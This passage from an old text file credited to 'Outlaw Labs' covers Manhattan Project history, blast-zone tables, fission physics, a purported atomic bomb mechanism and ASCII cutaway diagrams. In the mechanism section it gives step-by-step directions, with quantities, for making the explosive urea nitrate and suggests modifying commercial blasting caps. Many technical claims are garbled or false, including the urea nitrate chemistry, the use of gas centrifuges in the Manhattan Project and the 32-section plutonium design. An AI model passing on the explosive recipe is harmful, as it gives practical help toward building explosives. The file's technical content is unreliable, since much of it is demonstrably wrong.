known only then as the Manhattan Project.  Simply put, the Manhattan Project
was committed to expedient research and production that would produce a viable
atomic bomb.

     The most complicated issue to be addressed was the production of ample
amounts of `enriched' uranium to sustain a chain reaction.  At the time,
Uranium-235 was very hard to extract.  In fact, the ratio of conversion from
Uranium ore to Uranium metal is 500:1.  An additional drawback is that the 1
part of Uranium that is finally refined from the ore consists of over 99%
Uranium-238, which is practically useless for an atomic bomb.  To make it even
more difficult, U-235 and U-238 are precisely similar in their chemical
makeup.  This proved to be as much of a challenge as separating a solution of
sucrose from a solution of glucose.  No ordinary chemical extraction could
separate the two isotopes.  Only mechanical methods could effectively separate
U-235 from U-238.  Several scientists at Columbia University managed to solve
this dilemma.

     A massive enrichment laboratory/plant was constructed at Oak Ridge,
Tennessee.  H.C. Urey, along with his associates and colleagues at Columbia
University, devised a system that worked on the principle of gaseous
diffusion.  Following this process, Ernest O.  Lawrence (inventor of the
Cyclotron) at the University of California in Berkeley implemented a process
involving magnetic separation of the two isotopes.

     Following the first two processes, a gas centrifuge was used to further
separate the lighter U-235 from the heavier non-fissionable U-238 by their
mass.  Once all of these procedures had been completed, all that needed to be
done was to put to the test the entire concept behind atomic fission.  [For
more information on these procedures of refining Uranium, see Section 3.]

     Over the course of six years, ranging from 1939 to 1945, more than 2
billion dollars were spent on the Manhattan Project.  The formulas for
refining Uranium and putting together a working bomb were created and seen to
their logical ends by some of the greatest minds of our time.  Among these
people who unleashed the power of the atomic bomb was J. Robert Oppenheimer.

     Oppenheimer was the major force behind the Manhattan Project.  He
literally ran the show and saw to it that all of the great minds working on
this project made their brainstorms work.  He oversaw the entire project from
its conception to its completion.

     Finally the day came when all at Los Alamos would find out whether or not
The Gadget (code-named as such during its development) was either going to be
the colossal dud of the century or perhaps end the war.  It all came down to
a fateful morning of midsummer, 1945.

     At 5:29:45 (Mountain War Time) on July 16th, 1945, in a white blaze that
stretched from the basin of the Jemez Mountains in northern New Mexico to the
still-dark skies, The Gadget ushered in the Atomic Age.  The light of the
explosion then turned orange as the atomic fireball began shooting upwards at
360 feet per second, reddening and pulsing as it cooled. The characteristic
mushroom cloud of radioactive vapor materialized at 30,000 feet.  Beneath the
cloud, all that remained of the soil at the blast site were fragments of jade
green radioactive glass.  ...All of this caused by the heat of the reaction.

     The brilliant light from the detonation pierced the early morning skies
with such intensity that residents from a faraway neighboring community would
swear that the sun came up twice that day.  Even more astonishing is that a
blind girl saw the flash 120 miles away.

     Upon witnessing the explosion, reactions among the people who created
it were mixed.  Isidor Rabi felt that the equilibrium in nature had been
upset -- as if humankind had become a threat to the world it inhabited.
J. Robert Oppenheimer, though ecstatic about the success of the project,
quoted a remembered fragment from Bhagavad Gita.  "I am become Death," he
said, "the destroyer of worlds."  Ken Bainbridge, the test director, told
Oppenheimer, "Now we're all sons of bitches."

     Several participants, shortly after viewing the results, signed petitions
against loosing the monster they had created, but their protests fell on deaf
ears.  As it later turned out, the Jornada del Muerto of New Mexico was not
the last site on planet Earth to experience an atomic explosion.

     As many know, atomic bombs have been used only twice in warfare.  The
first and foremost blast site of the atomic bomb is Hiroshima.  A Uranium
bomb (which weighed in at over 4 & 1/2 tons) nicknamed "Little Boy" was
dropped on Hiroshima August 6th, 1945.  The Aioi Bridge, one of 81 bridges
connecting the seven-branched delta of the Ota River, was the aiming point of
the bomb.  Ground Zero was set at 1,980 feet.  At 0815 hours, the bomb was
dropped from the Enola Gay.  It missed by only 800 feet.  At 0816 hours, in
the flash of an instant, 66,000 people were killed and 69,000 people were
injured by a 10 kiloton atomic explosion.

     The point of total vaporization from the blast measured one half of a
mile in diameter.  Total destruction ranged at one mile in diameter.  Severe
blast damage carried as far as two miles in diameter.  At two and a half
miles, everything flammable in the area burned.  The remaining area of the
blast zone was riddled with serious blazes that stretched out to the final
edge at a little over three miles in diameter.  [See diagram below for blast
ranges from the atomic blast.]

     On August 9th 1945, Nagasaki fell to the same treatment as Hiroshima.
Only this time, a Plutonium bomb nicknamed "Fat Man" was dropped on the city.
Even though the "Fat Man" missed by over a mile and a half, it still leveled
nearly half the city.  Nagasaki's population dropped in one split-second from
422,000 to 383,000.  39,000 were killed, over 25,000 were injured.  That
blast was less than 10 kilotons as well.  Estimates from physicists who have
studied each atomic explosion state that the bombs that were used had utilized
only 1/10th of 1 percent of their respective explosive capabilities.

     While the mere explosion from an atomic bomb is deadly enough, its
destructive ability doesn't stop there.  Atomic fallout creates another hazard
as well.  The rain that follows any atomic detonation is laden with
radioactive particles.  Many survivors of the Hiroshima and Nagasaki blasts
succumbed to radiation poisoning due to this occurance.

     The atomic detonation also has the hidden lethal surprise of affecting
the future generations of those who live through it.  Leukemia is among the
greatest of afflictions that are passed on to the offspring of survivors.

     While the main purpose behind the atomic bomb is obvious, there are many
by-products that have been brought into consideration in the use of all
weapons atomic.  With one small atomic bomb, a massive area's communications,
travel and machinery will grind to a dead halt due to the EMP (Electro-
Magnetic Pulse) that is radiated from a high-altitude atomic detonation.
These high-level detonations are hardly lethal, yet they deliver a serious
enough EMP to scramble any and all things electronic ranging from copper wires
all the way up to a computer's CPU within a 50 mile radius.

     At one time, during the early days of The Atomic Age, it was a popular
notion that one day atomic bombs would one day be used in mining operations
and perhaps aid in the construction of another Panama Canal.  Needless to say,
it never came about.  Instead, the military applications of atomic destruction
increased.  Atomic tests off of the Bikini Atoll and several other sites were
common up until the Nuclear Test Ban Treaty was introduced.  Photos of nuclear
test sites here in the United States can be obtained through the Freedom of
Information Act.

 ============================================================================

                - Breakdown of the Atomic Bomb's Blast Zones -
                ----------------------------------------------


                                       .
                         .                           .


              .                        .                        .
                             .                   .
               [5]                    [4]                    [5]
                                       .
                      .        .               .        .

       .                  .                         .                  .

                 .          [3]        _        [3]          .
                      .           .   [2]   .           .
                                .     _._     .
                               .    .~   ~.    .
    .          . [4] .         .[2].  [1]  .[2].         . [4] .          .
                               .    .     .    .
                                .    ~-.-~    .
                      .           .   [2]   .           .
                 .          [3]        -        [3]          .

       .                  .                         .                  .

                      .        ~               ~        .
                                       ~
               [5]           .        [4]        .           [5]
                                       .
              .                                                 .


                         .                           .
                                       .


 ============================================================================

                              - Diagram Outline -
                             ---------------------


     [1]  Vaporization Point
          ------------------
          Everything is vaporized by the atomic blast.  98% fatalities.
          Overpress=25 psi.  Wind velocity=320 mph.

     [2]  Total Destruction
          -----------------
          All structures above ground are destroyed.  90% fatalities.
          Overpress=17 psi.  Wind velocity=290 mph.

     [3]  Severe Blast Damage
          -------------------
          Factories and other large-scale building collapse.  Severe damage
          to highway bridges.  Rivers sometimes flow countercurrent.
          65% fatalities, 30% injured.
          Overpress=9 psi.  Wind velocity=260 mph.

     [4]  Severe Heat Damage
          ------------------
          Everything flammable burns.  People in the area suffocate due to
          the fact that most available oxygen is consumed by the fires.
          50% fatalities, 45% injured.
          Overpress=6 psi.  Wind velocity=140 mph.

     [5]  Severe Fire & Wind Damage
          -------------------------
          Residency structures are severely damaged.  People are blown
          around.  2nd and 3rd-degree burns suffered by most survivors.
          15% dead.  50% injured.
          Overpress=3 psi.  Wind velocity=98 mph.



----------------------------------------------------------------------------

                            - Blast Zone Radii -
                           ----------------------
                          [3 different bomb types]
____________________________________________________________________________
  ______________________   ______________________   ______________________
 |                      | |                      | |                      |
 |    -[10 KILOTONS]-   | |     -[1 MEGATON]-    | |    -[20 MEGATONS]-   |
 |----------------------| |----------------------| |----------------------|
 | Airburst - 1,980 ft  | | Airburst - 8,000 ft  | | Airburst - 17,500 ft |
 |______________________| |______________________| |______________________|
 |                      | |                      | |                      |
 |  [1]  0.5 miles      | |  [1]  2.5 miles      | |  [1]  8.75 miles     |
 |  [2]  1 mile         | |  [2]  3.75 miles     | |  [2]  14 miles       |
 |  [3]  1.75 miles     | |  [3]  6.5 miles      | |  [3]  27 miles       |
 |  [4]  2.5 miles      | |  [4]  7.75 miles     | |  [4]  31 miles       |
 |  [5]  3 miles        | |  [5]  10 miles       | |  [5]  35 miles       |
 |                      | |                      | |                      |
 |______________________| |______________________| |______________________|
____________________________________________________________________________

============================================================================


-End of section 1-

 
--------------------------------
  File courtesy of Outlaw Labs
--------------------------------

     II.  Nuclear Fission/Nuclear Fusion
          ------------------------------


     There are 2 types of atomic explosions that can be facilitated by U-235;
fission and fusion.  Fission, simply put, is a nuclear reaction in which an
atomic nucleus splits into fragments, usually two fragments of comparable
mass, with the evolution of approximately 100 million to several hundred
million volts of energy.  This energy is expelled explosively and violently in
the atomic bomb.  A fusion reaction is invariably started with a fission
reaction, but unlike the fission reaction, the fusion (Hydrogen) bomb derives
its power from the fusing of nuclei of various hydrogen isotopes in the
formation of helium nuclei.  Being that the bomb in this file is strictly
atomic, the other aspects of the Hydrogen Bomb will be set aside for now.

     The massive power behind the reaction in an atomic bomb arises from the
forces that hold the atom together.  These forces are akin to, but not quite
the same as, magnetism.

     Atoms are comprised of three sub-atomic particles.  Protons and neutrons
cluster together to form the nucleus (central mass) of the atom while the
electrons orbit the nucleus much like planets around a sun.  It is these
particles that determine the stability of the atom.

     Most natural elements have very stable atoms which are impossible to
split except by bombardment by particle accelerators.  For all practical
purposes, the one true element whose atoms can be split comparatively easily
is the metal Uranium.  Uranium's atoms are unusually large, henceforth, it is
hard for them to hold together firmly.  This makes Uranium-235 an exceptional
candidate for nuclear fission.

     Uranium is a heavy metal, heavier than gold, and not only does it have
the largest atoms of any natural element, the atoms that comprise Uranium have
far more neutrons than protons.  This does not enhance their capacity to
split, but it does have an important bearing on their capacity to facilitate
an explosion.

     There are two isotopes of Uranium.  Natural Uranium consists mostly of
isotope U-238, which has 92 protons and 146 neutrons (92+146=238).  Mixed with
this isotope, one will find a 0.6% accumulation of U-235, which has only 143
neutrons.  This isotope, unlike U-238, has atoms that can be split, thus it is
termed "fissionable" and useful in making atomic bombs.  Being that U-238 is
neutron-heavy, it reflects neutrons, rather than absorbing them like its
brother isotope, U-235.  (U-238 serves no function in an atomic reaction, but
its properties provide an excellent shield for the U-235 in a constructed bomb
as a neutron reflector.  This helps prevent an accidental chain reaction
between the larger U-235 mass and its `bullet' counterpart within the bomb.
Also note that while U-238 cannot facilitate a chain-reaction, it can be
neutron-saturated to produce Plutonium (Pu-239).  Plutonium is fissionable and
can be used in place of Uranium-235 {albeit, with a different model of
detonator} in an atomic bomb. [See Sections 3 & 4 of this file.])

     Both isotopes of Uranium are naturally radioactive.  Their bulky atoms
disintegrate over a period of time.  Given enough time, (over 100,000 years or
more) Uranium will eventually lose so many particles that it will turn into
the metal lead.  However, this process can be accelerated.  This process is
known as the chain reaction.  Instead of disintegrating slowly, the atoms are
forcibly split by neutrons forcing their way into the nucleus.  A U-235 atom
is so unstable that a blow from a single neutron is enough to split it and
henceforth bring on a chain reaction.  This can happen even when a critical
mass is present.  When this chain reaction occurs, the Uranium atom splits
into two smaller atoms of different elements, such as Barium and Krypton.

     When a U-235 atom splits, it gives off energy in the form of heat and
Gamma radiation, which is the most powerful form of radioactivity and the most
lethal.  When this reaction occurs, the split atom will also give off two or
three of its `spare' neutrons, which are not needed to make either Barium or
Krypton.  These spare neutrons fly out with sufficient force to split other
atoms they come in contact with.  [See chart below]  In theory, it is
necessary to split only one U-235 atom, and the neutrons from this will split
other atoms, which will split more...so on and so forth.  This progression
does not take place arithmetically, but geometrically.  All of this will
happen within a millionth of a second.

     The minimum amount to start a chain reaction as described above is known
as SuperCritical Mass.  The actual mass needed to facilitate this chain
reaction depends upon the purity of the material, but for pure U-235, it is
110 pounds (50 kilograms), but no Uranium is never quite pure, so in reality
more will be needed.

     Uranium is not the only material used for making atomic bombs.  Another
material is the element Plutonium, in its isotope Pu-239.  Plutonium is not
found naturally (except in minute traces) and is always made from Uranium.
The only way to produce Plutonium from Uranium is to process U-238 through a
nuclear reactor.  After a period of time, the intense radioactivity causes the
metal to pick up extra particles, so that more and more of its atoms turn into
Plutonium.

     Plutonium will not start a fast chain reaction by itself, but this
difficulty is overcome by having a neutron source, a highly radioactive
material that gives off neutrons faster than the Plutonium itself.  In certain
types of bombs, a mixture of the elements Beryllium and Polonium is used to
bring about this reaction.  Only a small piece is needed.  The material is not
fissionable in and of itself, but merely acts as a catalyst to the greater
reaction.



 ============================================================================


                        - Diagram of a Chain Reaction -
                        -------------------------------



                                       |
                                       |
                                       |
                                       |
    [1]------------------------------> o

                                    . o o .
                                   . o_0_o . <-----------------------[2]
                                   . o 0 o .
                                    . o o .

                                       |
                                      \|/
                                       ~

                                 . o o. .o o .
    [3]-----------------------> . o_0_o"o_0_o .
                                . o 0 o~o 0 o .
                                 . o o.".o o .
                                       |
                                  /    |    \
                                |/_    |    _\|
                                ~~     |     ~~
                                       |
                           o o         |        o o
    [4]-----------------> o_0_o        |       o_0_o <---------------[5]
                          o~0~o        |       o~0~o
                           o o )       |      ( o o
                              /        o       \
                             /        [1]       \
                            /                    \
                           /                      \
                          /                        \
                         o [1]                  [1] o
                 . o o .            . o o .            . o o .
                . o_0_o .          . o_0_o .          . o_0_o .
                . o 0 o .  <-[2]-> . o 0 o . <-[2]->  . o 0 o .
                 . o o .            . o o .            . o o .

                  /                    |                    \
                |/_                   \|/                   _\|
                ~~                     ~                     ~~

      . o o. .o o .              . o o. .o o .              . o o. .o o .
     . o_0_o"o_0_o .            . o_0_o"o_0_o .            . o_0_o"o_0_o .
     . o 0 o~o 0 o . <--[3]-->  . o 0 o~o 0 o .  <--[3]--> . o 0 o~o 0 o .
      . o o.".o o .              . o o.".o o .              . o o.".o o .
        .   |   .                  .   |   .                  .   |   .
       /    |    \                /    |    \                /    |    \
       :    |    :                :    |    :                :    |    :
       :    |    :                :    |    :                :    |    :
      \:/   |   \:/              \:/   |   \:/              \:/   |   \:/
       ~    |    ~                ~    |    ~                ~    |    ~
  [4] o o   |   o o [5]      [4] o o   |   o o [5]      [4] o o   |   o o [5]
     o_0_o  |  o_0_o            o_0_o  |  o_0_o            o_0_o  |  o_0_o
     o~0~o  |  o~0~o            o~0~o  |  o~0~o            o~0~o  |  o~0~o
      o o ) | ( o o              o o ) | ( o o              o o ) | ( o o
         /  |  \                    /  |  \                    /  |  \
        /   |   \                  /   |   \                  /   |   \
       /    |    \                /    |    \                /    |    \
      /     |     \              /     |     \              /     |     \
     /      o      \            /      o      \            /      o      \
    /      [1]      \          /      [1]      \          /      [1]      \
   o                 o        o                 o        o                 o
  [1]               [1]      [1]               [1]      [1]               [1]






 ============================================================================


                              - Diagram Outline -
                             ---------------------


                        [1] - Incoming Neutron
                        [2] - Uranium-235
                        [3] - Uranium-236
                        [4] - Barium Atom
                        [5] - Krypton Atom




===========================================================================



-End of section 2-
-Diagrams & Documentation of the Atomic Bomb- 
--------------------------------
  File courtesy of Outlaw Labs
--------------------------------



     III.  The Mechanism of The Bomb
           -------------------------


     Altimeter
     ---------

     An ordinary aircraft altimeter uses a type of Aneroid Barometer which
measures the changes in air pressure at different heights.  However, changes
in air pressure due to the weather can adversely affect the altimeter's
readings.  It is far more favorable to use a radar (or radio) altimeter for
enhanced accuracy when the bomb reaches Ground Zero.

     While Frequency Modulated-Continuous Wave (FM CW) is more complicated,
the accuracy of it far surpasses any other type of altimeter.  Like simple
pulse systems, signals are emitted from a radar aerial (the bomb), bounced off
the ground and received back at the bomb's altimeter.  This pulse system
applies to the more advanced altimeter system, only the signal is continuous
and centered around a high frequency such as 4200 MHz.  This signal is
arranged to steadily increase at 200 MHz per interval before dropping back to
its original frequency.

     As the descent of the bomb begins, the altimeter transmitter will send
out a pulse starting at 4200 MHz.  By the time that pulse has returned, the
altimeter transmitter will be emitting a higher frequency.  The difference
depends on how long the pulse has taken to do the return journey.  When these
two frequencies are mixed electronically, a new frequency (the difference
between the two) emerges.  The value of this new frequency is measured by the
built-in microchips.  This value is directly proportional to the distance
travelled by the original pulse, so it can be used to give the actual height.

     In practice, a typical FM CW radar today would sweep 120 times per
second.  Its range would be up to 10,000 feet (3000 m) over land and 20,000
feet (6000 m) over sea, since sound reflections from water surfaces are
clearer.

     The accuracy of these altimeters is within 5 feet (1.5 m) for the higher
ranges.  Being that the ideal airburst for the atomic bomb is usually set for
1,980 feet, this error factor is not of enormous concern.

     The high cost of these radar-type altimeters has prevented their use in
commercial applications, but the decreasing cost of electronic components
should make them competitive with barometric types before too long.



     Air Pressure Detonator
     ----------------------

     The air pressure detonator can be a very complex mechanism, but for all
practical purposes, a simpler model can be used.  At high altitudes, the air
is of lesser pressure.  As the altitude drops, the air pressure increases.  A
simple piece of very thin magnetized metal can be used as an air pressure
detonator.  All that is needed is for the strip of metal to have a bubble of
extremely thin metal forged in the center and have it placed directly
underneath the electrical contact which will trigger the conventional
explosive detonation.  Before setting the strip in place, push the bubble in
so that it will be inverted.

     Once the air pressure has achieved the desired level, the magnetic bubble
will snap back into its original position and strike the contact, thus
completing the circuit and setting off the explosive(s).



     Detonating Head
     ---------------

     The detonating head (or heads, depending on whether a Uranium or
Plutonium bomb is being used as a model) that is seated in the conventional
explosive charge(s) is similar to the standard-issue blasting cap.  It merely
serves as a catalyst to bring about a greater explosion.  Calibration of this
device is essential.  Too small of a detonating head will only cause a
colossal dud that will be doubly dangerous since someone's got to disarm and
re-fit the bomb with another detonating head. (an added measure of discomfort
comes from the knowledge that the conventional explosive may have detonated
with insufficient force to weld the radioactive metals.  This will cause a
supercritical mass that could go off at any time.)  The detonating head will
receive an electric charge from the either the air pressure detonator or the
radar altimeter's coordinating detonator, depending on what type of system is
used.  The Du Pont company makes rather excellent blasting caps that can be
easily modified to suit the required specifications.



     Conventional Explosive Charge(s)
     --------------------------------

     This explosive is used to introduce (and weld) the lesser amount of
Uranium to the greater amount within the bomb's housing.  [The amount of
pressure needed to bring this about is unknown and possibly classified by the
United States Government for reasons of National Security]

     Plastic explosives work best in this situation since they can be
manipulated to enable both a Uranium bomb and a Plutonium bomb to detonate.
One very good explosive is Urea Nitrate.  The directions on how to make Urea
Nitrate are as follows:

     - Ingredients -
     ---------------
     [1]  1 cup concentrated solution of uric acid (C5 H4 N4 O3)
     [2]  1/3 cup of nitric acid
     [3]  4 heat-resistant glass containers
     [4]  4 filters (coffee filters will do)


     Filter the concentrated solution of uric acid through a filter to remove
impurities.  Slowly add 1/3 cup of nitric acid to the solution and let the
mixture stand for 1 hour.  Filter again as before.  This time the Urea Nitrate
crystals will collect on the filter.  Wash the crystals by pouring water over
them while they are in the filter.  Remove the crystals from the filter and
allow 16 hours for them to dry.  This explosive will need a blasting cap to
detonate.


     It may be necessary to make a quantity larger than the aforementioned
list calls for to bring about an explosion great enough to cause the Uranium
(or Plutonium) sections to weld together on impact.



     Neutron Deflector
     -----------------

     The neutron deflector is comprised solely of Uranium-238.  Not only is
U-238 non-fissionable, it also has the unique ability to reflect neutrons back
to their source.

     The U-238 neutron deflector can serve 2 purposes.  In a Uranium bomb, the
neutron deflector serves as a safeguard to keep an accidental supercritical
mass from occurring by bouncing the stray neutrons from the `bullet'
counterpart of the Uranium mass away from the greater mass below it (and vice-
versa).  The neutron deflector in a Plutonium bomb actually helps the wedges
of Plutonium retain their neutrons by `reflecting' the stray particles back
into the center of the assembly.  [See diagram in Section 4 of this file.]



     Uranium & Plutonium
     -------------------

     Uranium-235 is very difficult to extract.  In fact, for every 25,000 tons
of Uranium ore that is mined from the earth, only 50 tons of Uranium metal can
be refined from that, and 99.3% of that metal is U-238 which is too stable to
be used as an active agent in an atomic detonation.  To make matters even more
complicated, no ordinary chemical extraction can separate the two isotopes
since both U-235 and U-238 possess precisely identical chemical
characteristics.  The only methods that can effectively separate U-235 from
U-238 are mechanical methods.

     U-235 is slightly, but only slightly, lighter than its counterpart,
U-238.  A system of gaseous diffusion is used to begin the separating process
between the two isotopes.  In this system, Uranium is combined with fluorine
to form Uranium Hexafluoride gas.  This mixture is then propelled by low-
pressure pumps through a series of extremely fine porous barriers.  Because
the U-235 atoms are lighter and thus propelled faster than the U-238 atoms,
they could penetrate the barriers more rapidly.  As a result, the
U-235's concentration became successively greater as it passed through each
barrier.  After passing through several thousand barriers, the Uranium
Hexafluoride contains a relatively high concentration of U-235 -- 2% pure
Uranium in the case of reactor fuel, and if pushed further could
(theoretically) yield up to 95% pure Uranium for use in an atomic bomb.

     Once the process of gaseous diffusion is finished, the Uranium must be
refined once again.  Magnetic separation of the extract from the previous
enriching process is then implemented to further refine the Uranium.  This
involves electrically charging Uranium Tetrachloride gas and directing it past
a weak electromagnet.  Since the lighter U-235 particles in the gas stream are
less affected by the magnetic pull, they can be gradually separated from the
flow.

     Following the first two procedures, a third enrichment process is then
applied to the extract from the second process.  In this procedure, a gas
centrifuge is brought into action to further separate the lighter U-235 from
its heavier counter-isotope.  Centrifugal force separates the two isotopes of
Uranium by their mass.  Once all of these procedures have been completed, all
that need be done is to place the properly molded components of Uranium-235
inside a warhead that will facilitate an atomic detonation.

     Supercritical mass for Uranium-235 is defined as 110 lbs (50 kgs) of
pure Uranium.

     Depending on the refining process(es) used when purifying the U-235 for
use, along with the design of the warhead mechanism and the altitude at which
it detonates, the explosive force of the A-bomb can range anywhere from 1
kiloton (which equals 1,000 tons of TNT) to 20 megatons (which equals 20
million tons of TNT -- which, by the way, is the smallest strategic nuclear
warhead we possess today.  {Point in fact -- One Trident Nuclear Submarine
carries as much destructive power as 25 World War II's}).

     While Uranium is an ideally fissionable material, it is not the only one.
Plutonium can be used in an atomic bomb as well.  By leaving U-238 inside an
atomic reactor for an extended period of time, the U-238 picks up extra
particles (neutrons especially) and gradually is transformed into the element
Plutonium.

     Plutonium is fissionable, but not as easily fissionable as Uranium.
While Uranium can be detonated by a simple 2-part gun-type device, Plutonium
must be detonated by a more complex 32-part implosion chamber along with a
stronger conventional explosive, a greater striking velocity and a
simultaneous triggering mechanism for the conventional explosive packs.  Along
with all of these requirements comes the additional task of introducing a fine
mixture of Beryllium and Polonium to this metal while all of these actions are
occurring.

     Supercritical mass for Plutonium is defined as 35.2 lbs (16 kgs).  This
amount needed for a supercritical mass can be reduced to a smaller quantity of
22 lbs (10 kgs) by surrounding the Plutonium with a U-238 casing.


     To illustrate the vast difference between a Uranium gun-type detonator
and a Plutonium implosion detonator, here is a quick rundown.

 ============================================================================


     [1]  Uranium Detonator
          -----------------

              Comprised of 2 parts.  Larger mass is spherical and concave.
              Smaller mass is precisely the size and shape of the `missing'
              section of the larger mass.  Upon detonation of conventional
              explosive, the smaller mass is violently injected and welded
              to the larger mass.  Supercritical mass is reached, chain
              reaction follows in one millionth of a second.


     [2]  Plutonium Detonator
          -------------------

              Comprised of 32 individual 45-degree pie-shaped sections of
              Plutonium surrounding a Beryllium/Polonium mixture.  These 32
              sections together form a sphere.  All of these sections must
              have the precisely equal mass (and shape) of the others.  The
              shape of the detonator resembles a soccerball.  Upon detonation
              of conventional explosives, all 32 sections must merge with the
              B/P mixture within 1 ten-millionths of a second.



 ____________________________________________________________________________

                                  - Diagram -
                                 -------------
 ____________________________________________________________________________
                                       |
            [Uranium Detonator]        |         [Plutonium Detonator]
 ______________________________________|_____________________________________
                _____                  |
               |    :|                 |               . [2] .
               |    :|                 |           . ~   \_/   ~ .
               | [2]:|                 |        ..        .        ..
               |    :|                 |      [2]|        .        |[2]
               |   .:|                 |     . ~~~ .      .      . ~~~ .
               `...::'                 |    .        .    .    .        .
               _ ~~~ _                 |   .           .  ~  .           .
            . `|     |':..             | [2]\.  .  .  .  [1]  .  .  .  ./[2]
         .     |     | `:::.           |   ./          . ~~~ .          \.
               |     |   `:::          |   .         .    :    .         .
       .       |     |    ::::         |    .      .      .      .      .
               | [1] |    ::|::        |     . ___        .        ___ .
      .        `.   .'   ,::||:        |      [2]|        .        |[2]
                 ~~~     ::|||:        |        .'        _        `.
       ..        [2]   .::|||:'        |           .     / \     .
        ::...       ..::||||:'         |              ~ -[2]- ~
         :::::::::::::||||::'          |
          ``::::||||||||:''            |
              ``:::::''                |
                                       |
                                       |
                                       |
                                       |
       [1] = Collision Point           |      [1] = Collision Point
       [2] - Uranium Section(s)        |      [2] = Plutonium Section(s)
                                       |
                                       |
 ______________________________________|_____________________________________
 ============================================================================



     Lead Shield
     -----------

     The lead shield's only purpose is to prevent the inherent radioactivity
of the bomb's payload from interfering with the other mechanisms of the bomb.
The neutron flux of the bomb's payload is strong enough to short circuit the
internal circuitry and cause an accidental or premature detonation.



     Fuses
     -----

     The fuses are implemented as another safeguard to prevent an accidental
detonation of both the conventional explosives and the nuclear payload.  These
fuses are set near the surface of the `nose' of the bomb so that they can be
installed easily when the bomb is ready to be launched.  The fuses should be
installed only shortly before the bomb is launched.  To affix them before it
is time could result in an accident of catastrophic proportions.



 ============================================================================


-End of section 3-
-Documentation & Diagrams of the Atomic Bomb- 
--------------------------------
  File courtesy of Outlaw Labs
--------------------------------



  IV.  The Diagram of the Atomic Bomb
       ------------------------------

                             [Gravity Bomb Model]
                         ----------------------------
                        -> Cutaway Sections Visible <-


 ============================================================================




                                      /\
                                     /  \ <---------------------------[1]
                                    /    \
                  _________________/______\_________________
                 | :      ||:      ~      ~               : |
     [2]-------> | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :______||:_____________________________: |
                 |/_______||/______________________________\|
                  \       ~\       |              |         /
                   \       |\      |              |        /
                    \      | \     |              |       /
                     \     |  \    |              |      /
                      \    |___\   |______________|     /
                       \  |     \ |~               \   /
                        \|_______\|_________________\_/
                        |_____________________________|
                        /                             \
                       /       _________________       \
                      /      _/                 \_      \
                     /    __/                     \__    \
                    /    /                           \    \
                   /__ _/                             \_ __\
     [3]_______________________________                 \ _|
                   / /                 \                 \ \
                  / /                  \/                 \ \
                 / /              ___________              \ \
                | /            __/___________\__            \ |
                | |_  ___     /=================\     ___  _| |
     [4]---------> _||___|====|[[[[[[[|||]]]]]]]|====|___||_ <--------[4]
                | |           |-----------------|           | |
                | |           |o=o=o=o=o=o=o=o=o| <-------------------[5]
                | |            \_______________/            | |
                | |__                |: :|                __| |
                | |  \______________ |: :| ______________/  | |
                | | ________________\|: :|/________________ | |
                | |/            |::::|: :|::::|            \| |
     [6]----------------------> |::::|: :|::::| <---------------------[6]
                | |             |::::|: :|::::|             | |
                | |             |::==|: :|== <------------------------[9]
                | |             |::__\: :/__::|             | |
                | |             |::  ~: :~  ::|             | |
     [7]----------------------------> \_/   ::|             | |
                | |~\________/~\|::    ~    ::|/~\________/~| |
                | |            ||::         <-------------------------[8]
                | |_/~~~~~~~~\_/|::_ _ _ _ _::|\_/~~~~~~~~\_| |
     [9]-------------------------->_=_=_=_=_::|             | |
                | |             :::._______.:::             | |
                | |            .:::|       |:::..           | |
                | |        ..:::::'|       |`:::::..        | |
     [6]---------------->.::::::' ||       || `::::::.<---------------[6]
                | |    .::::::' | ||       || | `::::::.    | |
               /| |  .::::::'   | ||       || |   `::::::.  | |
              | | | .:::::'     | ||    <-----------------------------[10]
              | | |.:::::'      | ||       || |      `:::::.| |
              | | ||::::'       | |`.     .'| |       `::::|| |
    [11]___________________________  ``~''  __________________________[11]
              : | | \::            \       /            ::/ | |
             |  | |  \:_________|_|\/__ __\/|_|_________:/  | |
             /  | |   |  __________~___:___~__________  |   | |
            ||  | |   | |          |:::::::|          | |   | |
    [12]   /|:  | |   | |          |:::::::|          | |   | |
  |~~~~~  / |:  | |   | |          |:::::::|          | |   | |
  |----> / /|:  | |   | |          |:::::::|        <-----------------[10]
  |     / / |:  | |   | |          |:::::::|          | |   | |
  |      /  |:  | |   | |          |::::<-----------------------------[13]
  |     /  /|:  | |   | |          |:::::::|          | |   | |
  |    /  / |:  | |   | |          `:::::::'          | |   | |
  |  _/  / /:~: | |   | `:           ``~''           :' |   | |
  |  |  / / ~.. | |   |: `:                         :' :|   | |
  |->| / /   :  | |   :::  `.                     .' <----------------[11]
  |  |/ / ^   ~\|  \  ::::.  `.                 .'  .::::  /  |
  |  ~   /|\    |   \_::::::.  `.             .'  .::::::_/   |
  |_______|     |      \::::::.  `.         .'  .:::<-----------------[6]
                |_________\:::::.. `~.....~' ..:::::/_________|
                |          \::::::::.......::::::::/          |
                |           ~~~~~~~~~~~~~~~~~~~~~~~           |
                `.                                           .'
                 `.                                         .'
                  `.                                       .'
                   `:.                                   .:'
                    `::.                               .::'
                      `::..                         ..::'
                        `:::..                   ..:::'
                          `::::::...        ..::::::'
    [14]------------------> `:____:::::::::::____:' <-----------------[14]
                              ```::::_____::::'''
                                     ~~~~~






 ============================================================================


                              - Diagram Outline -
                             ---------------------

                        [1] - Tail Cone
                        [2] - Stabilizing Tail Fins
                        [3] - Air Pressure Detonator
                        [4] - Air Inlet Tube(s)
                        [5] - Altimeter/Pressure Sensors
                        [6] - Lead Shield Container
                        [7] - Detonating Head
                        [8] - Conventional Explosive Charge
                        [9] - Packing
                       [10] - Uranium (U-235) [Plutonium (See other diagram)]
                       [11] - Neutron Deflector (U-238)
                       [12] - Telemetry Monitoring Probes
                       [13] - Receptacle for U-235 upon detonation
                              to facilitate supercritical mass.
                       [14] - Fuses (inserted to arm bomb)




 ============================================================================


                        - Diagram for Plutonium Bomb -
                       --------------------------------
                       [Gravity Bomb - Implosion Model]
                       --------------------------------
                        -> Cutaway Sections Visible <-



 ============================================================================



                                      /\
                                     /  \ <---------------------------[1]
                                    /    \
                  _________________/______\_________________
                 | :      ||:      ~      ~               : |
     [2]-------> | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :______||:_____________________________: |
